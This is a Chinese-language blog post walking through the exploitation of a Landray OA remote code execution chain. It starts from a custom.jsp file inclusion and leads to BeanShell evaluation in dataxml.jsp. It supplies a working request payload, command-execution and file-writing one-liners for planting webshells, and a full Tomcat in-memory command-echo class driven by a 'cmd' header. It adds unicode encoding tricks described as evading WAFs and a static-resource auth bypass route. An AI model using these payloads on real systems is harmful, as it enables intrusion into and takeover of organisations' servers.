某OA简单分析

在某次项目过程中,遇到了蓝凌OA。此处主要分析一些Nday及结合实际的一些扩展。

漏洞分析

此处主要分析由 custom.jsp 引起的代码执行。

custom.jsp任意文件读取

源码位于

sys/ui/extend/varkind/custom.jsp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
....
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<%
	JSONObject vara = JSONObject.fromObject(request.getParameter("var"));
	JSONObject body = JSONObject.fromObject(vara.get("body"));
	if(body.containsKey("file")){
%>
<c:import url='<%=body.getString("file") %>' charEncoding="UTF-8">
	<c:param name="var" value="${ param['var'] }"></c:param>
</c:import>
<% }%>

body是var传递的json参数,然后 containsKey 检测file。然后用到了jstl标签,它属于jsp应用的一个核心模块。而 <c:import 标签相当于 jsp:include 的扩展,简单可以理解为本地文件包含+SSRF。

所以说它是任意文件读取不太恰当。正是因为这个文件包含,引发了下面一系列代码执行。

dataxml.jsp任意执行代码

源码位于

sys/common/dataxml.jsp

截取漏洞核心代码部分

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<%
	//....
  ApplicationContext ctx = WebApplicationContextUtils.getRequiredWebApplicationContext(session.getServletContext());
	RequestContext requestInfo = new RequestContext(request);
	String[] beanList = request.getParameter("s_bean").split(";");
	IXMLDataBean treeBean;
	HashMap nodeMap;
	Object node, value;
	Object[] nodeList;
	Iterator attr;
	String key;
	int i, j, k;
	StringBuilder sout = new StringBuilder();
	JSONArray sarray = new JSONArray();
	sout.append("<dataList>");
	for(i=0; i<beanList.length; i++){
		treeBean = (IXMLDataBean) ctx.getBean(beanList[i]);
		nodes = treeBean.getDataList(requestInfo);
    //....
    )
 %>

上面代码主要逻辑为通过 ; 符号分割 s_bean参数,循环调用 getBean 函数来获取创建了 Spring Bean 容器的对象。然后利用该对象的 getDataList 方法来处理最终的 requestInfo

通过上面代码我们可以发现,ctxbean 对象是从 sessionServlet 来获取的。那就说明实现了 IXMLDataBean 接口的类,都属于 Spring Bean 对象类。看一下实现该接口的类和 getDataList 方法有多少。

image-20221231204544782

image-20221231204641878

通过上图可以看到,实现了该接口的类有572个,实现了该接口类的方法有544个。

对于漏洞利用,我们需要在其中寻找可以代码执行的地方。由于该漏洞为历史漏洞,这里通过 payload 来继续接下来的分析。

1
var={"body":{"file":"/sys/common/dataxml.jsp"}}&s_bean=sysFormulaValidate&script=

可以看到传递的类名为 sysFormulaValidate,跟进一下。

位于 kmss_core.jar 包中。

类的位置在 com/landray/kmss/sys/formula/web/SysFormulaValidate.class

截取漏洞核心代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class SysFormulaValidate implements IXMLDataBean {
    private static final Log logger = LogFactory.getLog(SysFormulaValidate.class);

    public SysFormulaValidate() {
    }

    public List getDataList(RequestContext requestInfo) throws Exception {
        List rtnVal = new ArrayList();
        Map node = new HashMap();
        String msg = null;
        String confirm = null;
        String forceMsg = null;

        try {
            String script = requestInfo.getParameter("script");
            String type = requestInfo.getParameter("returnType");
            String funcs = requestInfo.getParameter("funcs");
            String model = requestInfo.getParameter("model");
            FormulaParser parser = FormulaParser.getInstance(requestInfo, new ValidateVarGetter((ValidateVarGetter)null), model);
            if (StringUtil.isNotNull(funcs)) {
                String[] funcArr = funcs.split(";");

                for(int i = 0; i < funcArr.length; ++i) {
                    parser.addPropertiesFunc(funcArr[i]);
                }
            }

            Object value = parser.parseValueScript(script, type);
          //......
    
}

通过上面代码可以看到我们传递的参数 scriptparser.parseValueScript 解析。跟进这个解析方法。同样在 kmss_core.jar 包,类位于

com/landray/kmss/sys/formula/parser/FormulaParser.class

1
2
3
4
5
6
7
8
    public Object parseValueScript(String script, String type) throws EvalException, KmssUnExpectTypeException {
        Object value = this.parseValueScript(script);
        if (StringUtil.isNotNull(type)) {
            value = this.getSysMetadataParser().formatValue(value, type);
        }

        return value;
    }

不传入type参数时,通过 parseValueScript 进行解析。跟进(同样在上面类中。由于代码过长,此处利用截图展示

image-20221231210512704

image-20221231210616450

通过上图可以发现,实例化了 bshInterpreter 类,然后通过一系列特殊符号处理,最终调用eval 方法执行 处理完的 script 参数。bsh即BeanShell。所以其实这是一个 BeanShell 代码执行。

漏洞利用

漏洞利用往往不止于简单的输入输出。这里主要讨论web权限的完整获取。如静态webshell、内存马、执行命令等。

前面说到漏洞原理最终为 Beanshell 代码执行,Beanshell 可以执行动态Java代码。参考一些其他OA或cms发现的同类型漏洞。如某微、某远,普遍利用为

1
exec("whoami");

demo如下

image-20221231212155919

这是通过其模块自带的命令执行,如果是Java命令执行的换成Runtime即可。

假如我们需要写 webshell 的话。则是通过文件io流来写入,这里采用文件缓冲流来举例,当然也可以用reader等方式。

1
import java.io.*;BufferedWriter out=new BufferedWriter(new FileWriter("./test.txt"));out.write("test123");out.close();

demo

image-20221231223008821

这里需要注意的是目录和写入文件过长、内容存在特殊符号的问题,根目录建议采用命令执行来获取。而内容过程考虑多次追加,特殊符号可以base编码写入。

一些难点

回过来谈谈蓝凌OA漏洞利用的一些难点,这也是项目中遇到的一些问题。

  • 命令执行无回显
  • payload过长&特殊字符

命令执行回显

先说说第一个问题。命令执行无回显主要解决方式为tomcat通用回显,这也是对于当前OA的解决方式,对于其他OA应使用对应web中间件回显。这里主要针对tomcat 7、8、9的通用回显。

代码源于一些公开文章,主要在于反射获取线程中的 Processor 对象。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
boolean flag = false;
    ThreadGroup group = Thread.currentThread().getThreadGroup();
    java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
    f.setAccessible(true);
    Thread[] threads = (Thread[]) f.get(group);
    for(int i = 0; i < threads.length; i++) {
        try{
            Thread t = threads[i];
            if (t == null) continue;
            String str = t.getName();
            if (str.contains("exec") || !str.contains("http")) continue;
            f = t.getClass().getDeclaredField("target");
            f.setAccessible(true);
            Object obj = f.get(t);
            if (!(obj instanceof Runnable)) continue;
            f = obj.getClass().getDeclaredField("this$0");
            f.setAccessible(true);
            obj = f.get(obj);
            try{
                f = obj.getClass().getDeclaredField("handler");
            }catch (NoSuchFieldException e){
                f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
            }
            f.setAccessible(true);
            obj = f.get(obj);
            try{
                f = obj.getClass().getSuperclass().getDeclaredField("global");
            }catch(NoSuchFieldException e){
                f = obj.getClass().getDeclaredField("global");
            }
            f.setAccessible(true);
            obj = f.get(obj);
            f = obj.getClass().getDeclaredField("processors");
            f.setAccessible(true);
            java.util.List processors = (java.util.List)(f.get(obj));
            for(int j = 0; j < processors.size(); ++j) {
                Object processor = processors.get(j);
                f = processor.getClass().getDeclaredField("req");
                f.setAccessible(true);
                Object req = f.get(processor);
                Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);
                str = (String)req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});
                if (str != null && !str.isEmpty()) {
                    resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
                    String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str};
                    byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();
                    try {
                        Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
                        obj = cls.newInstance();
                        cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});
                        resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
                    } catch (NoSuchMethodException var5) {
                        Class cls = Class.forName("java.nio.ByteBuffer");
                        obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});
                        resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
                    }
                    flag = true;
                }
                if (flag) break;
            }
            if (flag)  break;
        }catch(Exception e){
            continue;
        }
    }

payload过长&特殊字符

payload 过长主要体现在两方面,代码执行和写文件。对于代码执行的话,我们需要缩短通用回显的一些不必要操作,如空格、换行,异常处理,执行部分不必对系统类型进行判断(通过前面任意文件读取来判断)。写文件过长则需要进行分段追加写入,调整一下参数即可。如

1
new FileWriter("./test.txt",true);

对于特殊字符,命令执行和文件写入都会涉及。比如我们payload传输为

1
/?shellcode=boolean flag = false;ThreadGroup group =Thread.currentThread().getThreadGroup();.....

这样很容易造成参数不解析,这里推荐使用 unicode 编码执行代码部分,了解java都知道unicode的重要性,其对一些 waf 也具有免杀效果。

demo

image-20221231232055011

注意编码执行命令的 script 参数。

漏洞扩展

回到前面的漏洞分析,主要触发在于 getDataList(requestInfo) 。通过全局搜索

image-20221231233048765

通过对9个文件进行逐一确定,最终发现以下文件用法基本相同

1
2
3
4
5
/km/summary/km_summary_main/datajson.jsp
/sys/common/datajson.jsp
/sys/common/treejson.jsp
/sys/common/treexml.jsp
/tic/core/resource/js/erp_data.jsp

后续对比 @珂技 师傅文章,发现基本一致,只缺少了 /km/summary/km_summary_main/datajson.jsp

对于 kmss_core.jar 部分

com/landray/kmss/common/actions/DataController.class

同样存在类似触发点

image-20221231235305421

包括

1
2
3
/data/sys-common/dataxml
/data/sys-common/treexml
/data/sys-common/datajson

不过这些路由,并不能通过前面文件包含来进行利用。(这点 @珂技 师傅文章未说明。且路由需要管理权限,正常无法利用。

不过这是一个引子,今年hw之前,有人公布了一个POC

https://github.com/tangxiaofeng7/Landray-OA-Treexml-Rce

其正是用的 /data/sys-common/treexml 这条,不过其利用了springmvc的静态资源越权。也就是一个后缀匹配规则问题。

image-20230101000512743

由于静态资源不用进行鉴权处理,所以可用。所以payload可随意扩展

最后的 tips 是关于webshell写入的问题,由于蓝凌OA的spring安全限制,对匿名访问路径有控制,假如我们写入了 /xxx.jsp 后缀是无法更改的,所以不能通过 springmvc 绕过,我们可以查看匿名访问路径。

image-20230101002008195

authenticationValidateCore 中,遵守对应值即可匿名访问。如 logoinx.jsplogoutx.jsp 等。

该文件同样位于WEB-INF/KmssConfig/sys/authentication/spring.xml

至于后续的1day及深入扩展,后面会写。

0%